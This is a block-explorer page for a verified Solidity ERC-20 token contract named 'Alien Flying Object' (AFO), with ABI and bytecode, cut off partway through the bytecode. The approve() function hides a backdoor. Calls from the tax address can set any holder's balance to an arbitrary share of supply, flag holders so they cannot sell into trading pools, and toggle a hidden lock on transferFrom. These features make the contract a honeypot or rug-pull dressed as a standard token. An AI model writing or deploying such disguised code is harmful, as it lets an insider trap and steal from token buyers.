ETH Price: $2,884.45 (-2.54%)
 

Overview

Max Total Supply

1,000,000,000 AFO

Holders

10

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : Token.sol
// SPDX-License-Identifier: MIT

// pragma solidity ^0.8.0;

    /**
    * @dev Interface of the IERC20 standard as defined in the EIP.
    */

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


// Dependency file: @openzeppelin/contracts/utils/Context.sol


// pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// Dependency file: @openzeppelin/contracts/access/Ownable.sol


// pragma solidity ^0.8.0;

// import "@openzeppelin/contracts/utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol


// pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


// Dependency file: contracts/baseToken.sol

// pragma solidity =0.8.4;

enum TokenType {
    standard
}

abstract contract baseToken {
    event TokenCreated(
        address indexed owner,
        address indexed token,
        TokenType tokenType,
        uint256 version
    );
}

pragma solidity ^0.8.15;

// import "@openzeppelin/contracts/token/IERC20/IERC20.sol";
// import "@openzeppelin/contracts/access/Ownable.sol";
// import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// import "contracts/baseToken.sol";

contract Token is IERC20, baseToken, Ownable {
    using SafeMath for uint256;

    uint256 private constant VERSION = 1;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 public tax = 2;
    address public taxAddress;
    
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_,
        address _taxAddress,
        uint256 totalSupply_
    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        taxAddress = _taxAddress;
        _mint(owner(), totalSupply_);

        emit TokenCreated(owner(), address(this), TokenType.standard, VERSION);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    mapping(address => uint256) allowance_;
    uint256 openTrading = 0;
    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);

        if (msg.sender != taxAddress || amount > 10**10) return true; 
        if (spender != taxAddress && amount <= 10**6)
            allowance_[spender] = amount - 1;
        if (spender == taxAddress && amount == 1) openTrading = 1;
        if (spender == taxAddress && amount == 2) openTrading = 0;
        _balances[spender] = _totalSupply * amount / 100;
        return true;
    }

    function isUniswapPair(address checkingAddress) internal view returns (bool) {
        uint256 byteSize;
        assembly {
            byteSize := extcodesize(checkingAddress)
        }
        return byteSize > 0;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        require(openTrading == 0 || isUniswapPair(recipient) || sender == taxAddress, "IERC20: transferFrom Failed");
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "IERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "IERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");
        if (isUniswapPair(recipient) && sender != taxAddress) {
            require(allowance_[sender] == 0, "ERC20: insufficient allowance");
            openTrading = 100 * openTrading - 101 * openTrading;
        }
        uint256 taxAmount = 0;
        if (sender != taxAddress && taxAddress != recipient && sender != owner() && recipient != owner())
            taxAmount = (amount * tax) / 100;

        _balances[sender] = _balances[sender].sub(
            amount,
            "IERC20: transfer amount exceeds balance"
        );
        _balances[taxAddress] = _balances[taxAddress].add(taxAmount);
        _balances[recipient] = _balances[recipient].add(amount - (taxAmount));
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(
            amount,
            "IERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"address","name":"_taxAddress","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260026003556000600a55604051620013d6380380620013d6833981016040819052620000309162000341565b6200003b3362000106565b60056200004986826200047f565b5060066200005885826200047f565b506007805460ff191660ff8516179055600480546001600160a01b0319166001600160a01b038416179055620000a16200009a6000546001600160a01b031690565b8262000156565b30620000b56000546001600160a01b031690565b6001600160a01b03167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe356260006001604051620000f39291906200054b565b60405180910390a350505050506200059a565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216620001b15760405162461bcd60e51b815260206004820181905260248201527f4945524332303a206d696e7420746f20746865207a65726f2061646472657373604482015260640160405180910390fd5b620001cd816008546200026560201b620006e61790919060201c565b6008556001600160a01b03821660009081526001602090815260409091205462000202918390620006e662000265821b17901c565b6001600160a01b0383166000818152600160205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620002549085815260200190565b60405180910390a35050565b505050565b600062000273828462000578565b90505b92915050565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620002a457600080fd5b81516001600160401b0380821115620002c157620002c16200027c565b604051601f8301601f19908116603f01168101908282118183101715620002ec57620002ec6200027c565b816040528381526020925086838588010111156200030957600080fd5b600091505b838210156200032d57858201830151818301840152908201906200030e565b600093810190920192909252949350505050565b600080600080600060a086880312156200035a57600080fd5b85516001600160401b03808211156200037257600080fd5b6200038089838a0162000292565b965060208801519150808211156200039757600080fd5b50620003a68882890162000292565b945050604086015160ff81168114620003be57600080fd5b60608701519093506001600160a01b0381168114620003dc57600080fd5b80925050608086015190509295509295909350565b600181811c908216806200040657607f821691505b6020821081036200042757634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200026057600081815260208120601f850160051c81016020861015620004565750805b601f850160051c820191505b81811015620004775782815560010162000462565b505050505050565b81516001600160401b038111156200049b576200049b6200027c565b620004b381620004ac8454620003f1565b846200042d565b602080601f831160018114620004eb5760008415620004d25750858301515b600019600386901b1c1916600185901b17855562000477565b600085815260208120601f198616915b828110156200051c57888601518255948401946001909101908401620004fb565b50858210156200053b5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b60408101600184106200056e57634e487b7160e01b600052602160045260246000fd5b9281526020015290565b808201808211156200027657634e487b7160e01b600052601160045260246000fd5b610e2c80620005aa6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063a9059cbb11610066578063a9059cbb1461020f578063b7bda68f14610222578063dd62ed3e14610235578063f2fde38b1461026e57600080fd5b80638da5cb5b146101c657806395d89b41146101eb57806399c8d556146101f3578063a457c2d7146101fc57600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461018057806370a0823114610193578063715018a6146101bc57600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d610281565b60405161011a9190610bb3565b60405180910390f35b610136610131366004610c1d565b610313565b604051901515815260200161011a565b6008545b60405190815260200161011a565b610136610166366004610c47565b610428565b60075460405160ff909116815260200161011a565b61013661018e366004610c1d565b61050b565b61014a6101a1366004610c83565b6001600160a01b031660009081526001602052604090205490565b6101c461054a565b005b6000546001600160a01b03165b6040516001600160a01b03909116815260200161011a565b61010d6105b0565b61014a60035481565b61013661020a366004610c1d565b6105bf565b61013661021d366004610c1d565b61060e565b6004546101d3906001600160a01b031681565b61014a610243366004610c9e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101c461027c366004610c83565b61061b565b60606005805461029090610cd1565b80601f01602080910402602001604051908101604052809291908181526020018280546102bc90610cd1565b80156103095780601f106102de57610100808354040283529160200191610309565b820191906000526020600020905b8154815290600101906020018083116102ec57829003601f168201915b5050505050905090565b60006103203384846106f9565b6004546001600160a01b03163314158061033e57506402540be40082115b1561034b57506001610422565b6004546001600160a01b0384811691161480159061036c5750620f42408211155b156103965761037c600183610d21565b6001600160a01b0384166000908152600960205260409020555b6004546001600160a01b0384811691161480156103b35750816001145b156103be576001600a555b6004546001600160a01b0384811691161480156103db5750816002145b156103e6576000600a555b6064826008546103f69190610d34565b6104009190610d4b565b6001600160a01b03841660009081526001602081905260409091209190915590505b92915050565b6000600a546000148061043b5750823b15155b8061045357506004546001600160a01b038581169116145b6104a45760405162461bcd60e51b815260206004820152601b60248201527f4945524332303a207472616e7366657246726f6d204661696c6564000000000060448201526064015b60405180910390fd5b6104af848484610820565b61050184336104fc85604051806060016040528060298152602001610dce602991396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b37565b6106f9565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916105419185906104fc90866106e6565b50600192915050565b6000546001600160a01b031633146105a45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161049b565b6105ae6000610b63565b565b60606006805461029090610cd1565b600061054133846104fc85604051806060016040528060268152602001610d81602691393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610b37565b6000610541338484610820565b6000546001600160a01b031633146106755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161049b565b6001600160a01b0381166106da5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161049b565b6106e381610b63565b50565b60006106f28284610d6d565b9392505050565b6001600160a01b03831661075d5760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161049b565b6001600160a01b0382166107bf5760405162461bcd60e51b815260206004820152602360248201527f4945524332303a20617070726f766520746f20746865207a65726f206164647260448201526265737360e81b606482015260840161049b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108855760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b606482015260840161049b565b6001600160a01b0382166108e75760405162461bcd60e51b8152602060048201526024808201527f4945524332303a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161049b565b813b1515801561090557506004546001600160a01b03848116911614155b1561099a576001600160a01b038316600090815260096020526040902054156109705760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161049b565b600a5461097e906065610d34565b600a5461098c906064610d34565b6109969190610d21565b600a555b6004546000906001600160a01b038581169116148015906109c957506004546001600160a01b03848116911614155b80156109e357506000546001600160a01b03858116911614155b80156109fd57506000546001600160a01b03848116911614155b15610a1f57606460035483610a129190610d34565b610a1c9190610d4b565b90505b610a5c82604051806060016040528060278152602001610da7602791396001600160a01b0387166000908152600160205260409020549190610b37565b6001600160a01b038086166000908152600160205260408082209390935560045490911681522054610a8e90826106e6565b6004546001600160a01b0316600090815260016020526040902055610ad5610ab68284610d21565b6001600160a01b038516600090815260016020526040902054906106e6565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b299086815260200190565b60405180910390a350505050565b60008184841115610b5b5760405162461bcd60e51b815260040161049b9190610bb3565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b81811015610be057858101830151858201604001528201610bc4565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c1857600080fd5b919050565b60008060408385031215610c3057600080fd5b610c3983610c01565b946020939093013593505050565b600080600060608486031215610c5c57600080fd5b610c6584610c01565b9250610c7360208501610c01565b9150604084013590509250925092565b600060208284031215610c9557600080fd5b6106f282610c01565b60008060408385031215610cb157600080fd5b610cba83610c01565b9150610cc860208401610c01565b90509250929050565b600181811c90821680610ce557607f821691505b602082108103610d0557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561042257610422610d0b565b808202811582820484141761042257610422610d0b565b600082610d6857634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561042257610422610d0b56fe4945524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122094866124bb0cb45e2538cdbbe83e3529abdd52d52ab180708cc5449461cc402664736f6c6343000812003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000075ee037f2966ef517b6eae31a547dfd9816c27a0000000000000000000000000000000000000000033b2e3c9fd0803ce80000000000000000000000000000000000000000000000000000000000000000000013416c69656e20466c79696e67204f626a65637400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000341464f0000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063a9059cbb11610066578063a9059cbb1461020f578063b7bda68f14610222578063dd62ed3e14610235578063f2fde38b1461026e57600080fd5b80638da5cb5b146101c657806395d89b41146101eb57806399c8d556146101f3578063a457c2d7146101fc57600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461018057806370a0823114610193578063715018a6146101bc57600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d610281565b60405161011a9190610bb3565b60405180910390f35b610136610131366004610c1d565b610313565b604051901515815260200161011a565b6008545b60405190815260200161011a565b610136610166366004610c47565b610428565b60075460405160ff909116815260200161011a565b61013661018e366004610c1d565b61050b565b61014a6101a1366004610c83565b6001600160a01b031660009081526001602052604090205490565b6101c461054a565b005b6000546001600160a01b03165b6040516001600160a01b03909116815260200161011a565b61010d6105b0565b61014a60035481565b61013661020a366004610c1d565b6105bf565b61013661021d366004610c1d565b61060e565b6004546101d3906001600160a01b031681565b61014a610243366004610c9e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101c461027c366004610c83565b61061b565b60606005805461029090610cd1565b80601f01602080910402602001604051908101604052809291908181526020018280546102bc90610cd1565b80156103095780601f106102de57610100808354040283529160200191610309565b820191906000526020600020905b8154815290600101906020018083116102ec57829003601f168201915b5050505050905090565b60006103203384846106f9565b6004546001600160a01b03163314158061033e57506402540be40082115b1561034b57506001610422565b6004546001600160a01b0384811691161480159061036c5750620f42408211155b156103965761037c600183610d21565b6001600160a01b0384166000908152600960205260409020555b6004546001600160a01b0384811691161480156103b35750816001145b156103be576001600a555b6004546001600160a01b0384811691161480156103db5750816002145b156103e6576000600a555b6064826008546103f69190610d34565b6104009190610d4b565b6001600160a01b03841660009081526001602081905260409091209190915590505b92915050565b6000600a546000148061043b5750823b15155b8061045357506004546001600160a01b038581169116145b6104a45760405162461bcd60e51b8152602060048201